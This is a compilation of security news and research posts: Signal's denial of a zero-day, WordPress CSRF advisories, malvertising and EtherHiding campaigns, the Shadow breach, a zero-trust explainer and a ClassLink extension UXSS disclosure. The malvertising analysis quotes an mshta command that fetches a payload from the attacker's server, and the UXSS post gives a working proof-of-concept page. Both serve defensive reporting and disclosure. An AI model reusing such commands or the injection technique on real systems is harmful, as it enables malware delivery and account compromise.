Encrypted messaging app Signal has pushed back against "viral reports" of an alleged zero-day flaw in its software, stating it found no evidence to support the claim.
"After responsible investigation *we have no evidence that suggests this vulnerability is real* nor has any additional info been shared via our official reporting channels," it said in a series of messages posted in X (formerly

Encrypted messaging app Signal has pushed back against "viral reports" of an alleged zero-day flaw in its software, stating it found no evidence to support the claim.

"After responsible investigation \*we have no evidence that suggests this vulnerability is real\* nor has any additional info been shared via our official reporting channels," it said in a series of messages posted in X (formerly Twitter).

Signal said it also checked with the U.S. government and that it found no information to suggest "this is a valid claim." It's also urging those with legitimate information to send reports to security@signal\[.\]org.

The development comes as reports circulated over the weekend about a zero-day exploit in Signal that could be exploited to gain complete access to a targeted mobile device.

As a security precaution, it's been advised to turn off link previews in the app. The feature can be disabled by going to Signal Settings > Chats > Generate link previews.

The disclosure also arrives as TechCrunch revealed that zero-days for infiltrating messaging apps like WhatsApp are being sold for anywhere between $1.7 and $8 million.

Zero-day flaws in iMessage, Signal, and WhatsApp are lucrative for nation-state threat actors, as they can be used as entry points to achieve remote code execution on mobile devices and stealthily surveil targets of interest by means of one-click of zero-click exploit chains.

A recent report from Amnesty International found that spyware attacks have been attempted against journalists, politicians, and academics in the European Union, the U.S., and Asia with an ultimate aim to deploy Predator, which is developed by a consortium known as the Intellexa alliance.

"Between February and June 2023, social media platforms X (formerly Twitter) and Facebook were used to publicly target at least 50 accounts belonging to 27 individuals and 23 institutions," Amnesty International said, linking it to a customer with connections to Vietnam.

Central to the spread of infections included an anonymous account on X, a now-deleted handle named @Joseph\_Gordon16, that attempted to lure targets into clicking links that would install Predator malware. The Citizen Lab is tracking the threat actor under the name REPLYSPY.

"Predator spyware infections are managed via a web-based system which Intellexa terms the 'Cyber Operation Platform,'" the international non-governmental organization said in a technical deep dive of the Predator framework.

"Spyware operators can also use this interface to initiate attack attempts against a target phone, and if successful, to retrieve and access sensitive information including photos, location data, chat messages, and microphone recordings from the infected device."

Some of the other products offered by Intellexa comprise Mars, a network injection system installed at mobile operator ISPs that silently redirects any unencrypted HTTP request from a smartphone to a Predator infection server, and Jupiter, an add-on for the Mars system that enables injection into encrypted HTTPS traffic, but only works with domestic websites hosted by a local ISP.

A recent report from Haaretz also detailed how commercial surveillance vendors are looking to weaponize the digital advertising ecosystem to target and infect mobile devices globally using ad networks.

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Signal Debunks Zero-Day Vulnerability Reports, Finds No Evidence

Cross-Site Request Forgery (CSRF) vulnerability in SendPulse SendPulse Free Web Push plugin <= 1.3.1 versions.

**Solution**

 No fix

No patched version is available.

Found this useful? Thank Mika for reporting this vulnerability. Buy a coffee ☕

Mika discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress SendPulse Free Web Push Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-45274: WordPress SendPulse Free Web Push plugin <= 1.3.1 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Cross-Site Request Forgery (CSRF) vulnerability in Galaxy Weblinks Video Playlist For YouTube plugin <= 6.0 versions.

**Solution**

 No fix

No patched version is available.

Found this useful? Thank Mika for reporting this vulnerability. Buy a coffee ☕

Mika discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Video Playlist For YouTube Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-45653: WordPress Video Playlist For YouTube plugin <= 6.0 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

The File Manager Pro WordPress plugin before 1.8 does not properly check the CSRF nonce in the `fs_connector` AJAX action. This allows attackers to make highly privileged users perform unwanted file system actions via CSRF attacks by using GET requests, such as uploading a web shell.

CVE-2023-4827

Cross-Site Request Forgery (CSRF) vulnerability in Kevin Weber Lazy Load for Videos plugin <= 2.18.2 versions.

**Solution**

 No fix

No patched version is available.

Found this useful? Thank Mika for reporting this vulnerability. Buy a coffee ☕

Mika discovered and reported this Cross Site Request Forgery (CSRF) vulnerability in WordPress Lazy Load for Videos Plugin. This could allow a malicious actor to force higher privileged users to execute unwanted actions under their current authentication. This vulnerability has not been known to be fixed yet.

**No other known vulnerabilities for this plugin**Report

**WordPress plugin developer?**

Start a free security program for your WordPress plugins or request an audit.

Apply for MVDP

**Security researcher?**

Report to Patchstack Alliance bounty platform and earn monthly cash prizes.

Learn more

CVE-2023-45656: WordPress Lazy Load for Videos plugin <= 2.18.2 - Cross Site Request Forgery (CSRF) vulnerability - Patchstack

Categories: Threat Intelligence
Tags: malvertising

Tags: ads

Tags: notepad

Tags: hta

Tags: malware

Tags: google

A sophisticated threat actor has been using Google ads to deliver custom malware payloads to victims for months while flying under the radar.



(Read more...)




The post The forgotten malvertising campaign appeared first on Malwarebytes Labs.

In recent weeks, we have noted an increase in malvertising campaigns via Google searches. Several of the threat actors we are tracking have improved their techniques to evade detection throughout the delivery chain.

We believe this evolution will have a real world impact among corporate users getting compromised via malicious ads eventually leading to the deployment of malware and ransomware.

In this blog post, we look at a malvertising campaign that seems to have flown under the radar entirely for at least several months. It is unique in its way to fingerprint users and distribute time sensitive payloads.

**Malicious ads for Notepad++**

The threat actor is running a campaign targeting Notepad++, a popular text editor for Windows as well as similar software programs such as PDF converters. The image below is a collage of malicious ads we observed recently, all run by the same threat actor but via different ad accounts, likely compromised.

A first level of filtering happens when the user clicks on one of these ads. This is likely an IP check that discards VPNs and other non genuine IP addresses and instead shows a decoy site:

However, intended targets will see a replica of the real Notepad++ website hosted at notepadxtreme\[.\]com:

**Fingerprinting for VM detection**

A second level of filtering happens when the user clicks on the download link where JavaScript code performs a system fingerprint. We had previously observed some malvertising campaigns check for the presence of emulators or virtual machines and this is what happens here also, although the code being used is different and more complex.

If any of the checks don't match, the user is being redirected to the legitimate Notepad++ website. Each potential victim is assigned a unique ID that will allow them to download the payload.

**Custom, time-sensitive download**

Another thing that sets apart this campaign from others is the way the payload is being downloaded. Each user is given a unique ID with the following format:

CukS1=\[10 character string\]\[13 digits\]

This is likely for tracking purposes but also to make each download unique and time sensitive.

Unlike other malvertising campaigns the payload is a _.hta_ script. It follows the same naming convention seen above with the download URL:

Notepad\_Ver\_\[10 character string\]\[13 digits\].hta

Attempting to download the file again from the same URL results in an error:

**.HTA Payload**

The .hta file we captured during our investigation was not fully weaponized. However, we were able to find another one that was uploaded to VirusTotal in early July. It uses the same naming convention and we can see the lure was "PDF Converter" instead of Notepad++.

The script is well obfuscated and shows 0 detection on VirusTotal. However, upon dynamic analysis, there is a connection to a remote domain (mybigeye\[.\]icu) on a custom port:

C:\\Windows\\SysWOW64\\mshta.exe "C:\\Windows\\System32\\mshta.exe"   
https://mybigeye .icu:52054/LXGZlAJgmvCaQfer/rWABCTDEqFVGdHIQ.html?client\_id=jurmvozdcf1687983013426#he7HAp1X4cgqv5SJykr3lRtaxijL0WPB6sdGnZC9IouwDKf8OEMQTFNbmYzU2V+/=

We also notice it uses the same client\_id stored in the filename when making that remote connection.

While we don't know what happens next, we believe this is part of malicious infrastructure used by threat actors to gain access to victims' machines using tools such as Cobalt Strike.

**Innovation makes malvertising a greater threat**

We have observed an increase in the volume of malvertising campaigns but also in their sophistication over the past several months. Threat actors are successfully applying evasion techniques that bypass ad verification checks and allow them to target certain types of victims.

With a reliable malware delivery chain in hand, malicious actors can focus on improving their decoy pages and craft custom malware payloads. This is another space where we see some innovation and where security vendors are currently running behind.

Threat intelligence is a critical part of a defensive strategy to better understand the threat landscape in order to protect users. For example, tracking malicious ads allows us to quickly identify the infrastructure used by threat actors and immediately block it. Following the malware delivery chain shows us any new techniques that may bypass current security products and helps us to adjust our detections accordingly.

**Indicators of Compromise**

Ad domains:

switcodes\[.\]com  
karelisweb\[.\]com  
jquerywins\[.\]com  
mojenyc\[.\]com

Fake Notepad++ site:

notepadxtreme\[.\]com

Script C2:

mybigeye\[.\]icu

Malwarebytes EDR and MDR removes all remnants of ransomware and prevents you from getting reinfected. Want to learn more about how we can help protect your business? Get a free trial below.

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The forgotten malvertising campaign

The security principle of zero trust is the cornerstone of robust cloud security.

In an era where data breaches and cyberattacks continue to dominate headlines, the importance of robust security measures has never been more evident. As organizations increasingly migrate their data and operations to the cloud, a paradigm shift in security strategy is essential. Enter zero trust, a security concept that has emerged as the cornerstone of cloud security. This article will explore why zero trust is crucial for safeguarding cloud environments.

**The Cloud Security Challenge**

Adopting cloud computing has brought unprecedented flexibility, scalability, and cost efficiency for businesses; however, migration to the cloud has also opened new avenues for cyber threats. The traditional security perimeter model — protecting the network perimeter — must change. Security must adapt to the challenges of this dynamic landscape with data residing in remote data centers and users accessing resources from anywhere.

**What Is Zero Trust?**

Zero trust is not just a technology but a holistic security approach that fundamentally shifts the security paradigm. The core tenet of zero trust is simple: "Never trust, always verify." In essence, zero trust means security teams should not inherently trust anyone or anything, regardless of whether they are inside or outside the network.

The fundamental principles of zero trust include:

1.  **Continuous verification:** Every access request is verified, regardless of the user's location or device. This principle includes strong multifactor authentication (MFA) and device health checks.
2.  **Least privilege access:** Security teams grant users and systems only the minimum access required to perform their tasks, reducing the attack surface and potential damage in case of a breach.
3.  **Micro-segmentation:** Networks are divided into small, isolated segments with access controls enforced between them, preventing lateral movement by attackers.
4.  **Data-centric security:** Zero trust prioritizes data protection, ensuring data is encrypted, classified, and rigorously access-controlled.

**Why Zero Trust for Cloud Security?**

Reasons zero trust is important for securing cloud environments include:

1.  **Perimeterless environments:** Cloud environments are inherently perimeterless. Traditional security models that rely on securing the network perimeter are ineffective when data and applications are dispersed across multiple cloud providers and accessed from anywhere. Zero trust, which focuses on continuous verification, addresses this challenge by securing access at the individual request level.
2.  **Evolving threat landscape:** Cyber threats are constantly evolving, becoming more sophisticated and persistent. Zero trust's continuous monitoring and verification principle helps organizations stay one step ahead of these threats by detecting and responding to anomalies and breaches in real time.
3.  **Remote workforce:** The rise of remote work has blurred the lines between corporate networks and the public Internet. With employees accessing cloud resources from various locations and devices, zero trust ensures access is granted based on user identity and device trustworthiness, not just network location.
4.  **Data protection:** In cloud environments, data is the crown jewel. Zero trust places data protection at its core, ensuring that even if a breach occurs, sensitive data remains encrypted and inaccessible to unauthorized parties.
5.  **Compliance and regulations:** Many industries are subject to strict data protection regulations. Zero trust helps organizations meet these compliance requirements by enforcing stringent access controls, monitoring activities, and maintaining an audit trail.

**Implementing Zero Trust in Cloud Environments**

To implement zero trust in cloud security, organizations should consider:

1.  **Identity and access management (IAM):** Implement strong authentication methods and access controls based on user identity.
2.  **Continuous monitoring:** Utilize threat detection and response tools to monitor activities and identify anomalies.
3.  **Least privilege access:** Grant minimal access permissions to users and systems based on their roles and responsibilities.
4.  **Data encryption:** Encrypt data at rest and in transit and classify data based on sensitivity.
5.  **Micro-segmentation:** Implement network segmentation to control lateral movement within cloud environments.

**Zero Trust Is Not Optional**

As organizations continue their digital transformation journey by embracing cloud technologies, zero trust emerges as the bedrock of cloud security. The principles of continuous verification, least privilege access, and data-centric security align perfectly with cloud environments' dynamic and distributed nature. Embracing zero trust is not merely an option; it's necessary to protect sensitive data, mitigate risks, and ensure the security of cloud-based operations in an ever-evolving threat landscape. Zero trust isn't just a buzzword; it's the future of cloud security. To learn more about zero trust, AI, and other topics in the ever-evolving threat landscape, log into the #AskCyderes webcast.

**About the Author**

    

Patrick Carter has 15 years of industry experience across security architecture, cloud security, security program management, and strategic consulting. He has a strong understanding of multicloud security architecture, working with both commercial and enterprise-level clients in Azure, AWS, and GCP. He has extensive experience in practice development and service optimization utilizing multiple disciplines. Having consulted enterprises of multiple industries, Patrick is passionate about developing cloud security programs that meet clients' specific needs and building strong relationships that enable them to secure their cloud journey.

Why Zero Trust Is the Cloud Security Imperative

Threat actors have been observed serving malicious code by utilizing Binance's Smart Chain (BSC) contracts in what has been described as the "next level of bulletproof hosting."
The campaign, detected two months ago, has been codenamed EtherHiding by Guardio Labs.
The novel twist marks the latest iteration in an ongoing campaign that leverages compromised WordPress sites to serve unsuspecting

Threat actors have been observed serving malicious code by utilizing Binance's Smart Chain (BSC) contracts in what has been described as the "next level of bulletproof hosting."

The campaign, detected two months ago, has been codenamed **EtherHiding** by Guardio Labs.

The novel twist marks the latest iteration in an ongoing campaign that leverages compromised WordPress sites to serve unsuspecting visitors a fake warning to update their browsers before the sites can be accessed, ultimately leading to the deployment of information stealer malware such as Amadey, Lumma, or RedLine.

"While their initial method of hosting code on abused Cloudflare Worker hosts was taken down, they've quickly pivoted to take advantage of the decentralized, anonymous, and public nature of blockchain," security researchers Nati Tal and Oleg Zaytsev said.

"This campaign is up and harder than ever to detect and take down."

It's no surprise that threat actors have targeted WordPress sites via both malicious plugins, as well as take advantage of publicly disclosed security flaws in popular plugins to breach websites. This gives the ability to completely hijack infected websites at will.

In the latest set of attacks, the infected sites are injected with obfuscated Javascript designed to query the BNB Smart Chain by creating a smart contract with an attacker-controlled blockchain address.

The goal is to fetch a second-stage script that, in turn, retrieves a third-stage payload from a command-and-control (C2) server to serve the deceptive browser update notices.

Should a victim click the update button on the bogus overlay, they are redirected to download a malicious executable from Dropbox or other legitimate file hosting services.

While the address and the associated contract have been tagged as used in a phishing scheme, the consequence of hosting it on a decentralized service means that there is currently no way to intervene and disrupt the attack chain.

"As this is not an address used in any financial or other activity that victims can be lured to transfer funds or any other kind of Intellectual property to — visitors of compromised WordPress sites have no clue as to what is going on under the hood," the researchers explained.

"This contract, tagged as fake, malicious, or whatnot, is still online and delivers the malicious payload."

With plugins becoming a sizable attack surface for WordPress, it's recommended that users relying on the content management system (CMS) adhere to security best practices and keep their systems up-to-date with the latest patches, remove unwanted admin users, and enforce strong passwords.

Found this article interesting? Follow us on Twitter __ and LinkedIn to read more exclusive content we post.

Binance's Smart Chain Exploited in New 'EtherHiding' Malware Campaign

Categories: News
Categories: Personal
Tags: Shadow PC

Tags:  data breach

Tags:  

Cloud service provider Shadow has notified customers about a data breach affecting over 500,000 users.



(Read more...)




The post Customer data stolen from gaming cloud host Shadow appeared first on Malwarebytes Labs.

Cloud infrastructure provider Shadow has warned of the data theft of over 500,000 customers. The customers were informed by a breach notification which was posted online.

Cloud is known in the gaming world and, among other things, allows gamers to play resource heavy games on lower-end devices,

The stolen data includes full customer names, email addresses, dates of birth, billing addresses, and credit card expiration dates. According to Shadow, no passwords or sensitive banking data have been compromised.

Shadow says the incident happened at the end of September, and was the result of a social engineering attack on a Shadow employee. The attack began on the Discord platform after the employee downloaded malware he believed to be a game on the Steam platform.

Shadow says that despite swift countermeasures, the attackers were able to use one or more of the cookies they had stolen in order to connect to the management interface of one of Shadow’s SaaS providers. From there the attackers were able to steal the data from Shadow by using their Application Programming Interface (API) access.

According to BleepingComputer, a cybercriminal claiming responsibility for the attack is selling the stolen database on a well-known hacking forum.

_image courtesy of BleepingComputer_

In the message, the cybercriminal says IP connection logs were also stolen in the breach in addition to the other data mentioned by Shadow.

It is unclear, although likely, whether Shadow has reached out to everyone involved. Shadow recommends that users set up multi-factor authentication (MFA) on their accounts, and watch out for any emails that appear to come from Shadow, as they could be phishing attempts.

The company is also telling users to contact customer service with any questions or concerns.

**Data breach**

There are some actions you can take if you are, or suspect you may have been, the victim of a data breach.

*   Check the vendor's advice. Every breach is different, so check with the vendor to find out what's happened, and follow any specific advice they offer.
*   Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don't use for anything else. Better yet, let a password manager choose one for you.
*   Enable multi-factor authentication (MFA). This is good advice from Shadow, and something we always advise. If you can, use a FIDO2-compliant hardware key, laptop or phone as your second factor. Some forms of multi-factor authentication can be phished just as easily as a password. MFA that relies on a FIDO2 device can’t be phished.
*   Watch out for fake vendors. The thieves may contact you posing as the vendor. Check the vendor website to see if they are contacting victims, and verify any contacts using a different communication channel.
*   Take your time. As Shadow warns, phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.

**We don’t just report on threats—we remove them**

Cybersecurity risks should never spread beyond a headline. Keep threats off your devices by downloading Malwarebytes today.

Customer data stolen from gaming cloud host Shadow

A Universal Cross Site Scripting (UXSS) vulnerability in ClassLink OneClick Extension through 10.7 allows remote attackers to inject JavaScript into any webpage, because a regular expression (validating whether a URL is controlled by ClassLink) is not present in all applicable places.

This is the story of how I found a universal cross-site scripting vector in a browser extension used by over 10 million users.

**Introduction**

I could immediately tell I would find something as soon as my school rolled out the extension, and once I saw the permissions it requested, I knew I would find something _extra_ spicy.

the inability to disable the extension and high privileges were motivating factors in this research

**What Is This Extension?**

This extension is designed to work in tandem with ClassLink LaunchPad which enables a student to select and automatically sign into educational websites. School IT staff load their students' credentials into LaunchPad's admin console; later, when a student clicks a website on LaunchPad, it sends their credentials to the extension which signs them in.

**Suspicious Function**

While Scrolling through a pretty-printed version of injected.js, part of the code immediately attracted my attention.

**Confusion**

Why would this extension need to inject scripts into the DOM? It turns out that this is actually the primary pattern behind the whole extension. There is a bit of JavaScript for each website they integrate with that is responsible for logging a user in. ClassLink LaunchPad connects to over 6,000 websites, so I can understand why the flexibility of running unique JavaScript for each site becomes appealing.

**How Can We Exploit This?**

It would be possible to exploit the e function if we can control appResponse.pre_auth_script and the window location. This would enable an attacker to inject any script into any page, in other words, universal cross-site scripting.

**Backtracking**

Following the code backwards, I found that the e function is called from an event listener.

At first this looks trivially exploitable by sending a handle-sso message from a webpage. Unfortunately for an attacker, chrome.runtime.onMessage has protections against this. Here is a section from Message Passing (Chrome Developers).

In order to send a message to this listener, the extension would need to have an attacker-controlled domain in their manifest.json, which effectively closes off this route of exploitation.

**Sending "handle-sso"**

Because externally_connectable is not in manifest.json, we know that handle-sso messages can be only be sent from background.js. Searching for handle-sso in background.js yields this event listener:

A handle-sso message is sent when a new tab is opened, but the listener is created only after background.js receives an initiate-sso message. This message is sent by the following function in injected.js:

This s function takes in a parameter that's passed into the initiate-sso message, so calling s with user-controlled data is equivalent to universal cross-site scripting.

s is called here, but it's behind a regex that validates if the URL is controlled by ClassLink. However, this is not the only place that calls s…

**The Fundamental Flaw**

The s function is also called here:

For whatever reason, there existed a mostly copied and pasted version of the previous code snippet which omits the regex check. This code registers click handler, but only for elements with two magic classes: bg-info and js-uc.

The failure to run the regex in this case is the root cause of this vulnerability. Putting carefully crafted data into the head of the document will allow us to control the parameters of s and, by proxy, get universal cross-site scripting.

**Creating a Proof of Concept**

Here is the code for a proof of concept:

    <html>
    	<head>
    		<title>ClassLink OneClick UXSS</title>
    		<script>
    			//appResponse: JSON.parse('{"userauth": [""], "pre_auth_script": "alert(window.location)"}'),
    			//gwstokenMd5:{}
    
    			setTimeout(function() {
    				const button = document.getElementById("button");
    
    				button.click();
    				window.location.href = "https://example.com";
    			}, 200);
    		</script>
    	</head>
    	<body>
    		<button id="button" class="bg-info js-uc" data-index="0">button of doom</button>
    	</body>
    </html>
    

In the body, there's a button with the two magic classes the click handler checks. The button also has data-index="0" and appResponse has userauth set as [""] to prevent an out of bounds array index. The pre_auth_script property of appResponse functions as the payload.

**Reporting**

I was initially frustrated by the lack of official avenue to report vulnerabilities. I reported this vulnerability through the help desk, which made me a bit anxious me due to the possibility that details of my report could be intercepted by a third party. I advise that ClassLink adopts RFC 9116 (security.txt) to make it more clear to researchers where and how they should report vulnerabilities in the future.

**Timeline**

*   September 15th, 2022: vulnerability reported to ClassLink.
*   September 19th, 2022: I received an acknowledgement from ClassLink.
*   October 25th, 2022: I inquired about the status of a fix.
*   November 8th, 2022: I received notice that a patch would roll out on December 1st.
*   December 1st, 2022: The vulnerability was patched.

**Acknowledging Previous Research**

I stumbled upon research done in 2018 that was published on the Full Disclosure mailing list. They made eerily similar findings to me. The research from 2018 exploits the same function which injects scripts into the DOM, but with a different way of triggering it. I assume this research is responsible for the implementation of the URL regex check mentioned earlier in the article.

**Analysis of The Patch**

The patch adds the regex guard to the s function. I tested my proof of concept code against the latest version and confirmed that it is sufficient to prevent exploitation.

Tag

#web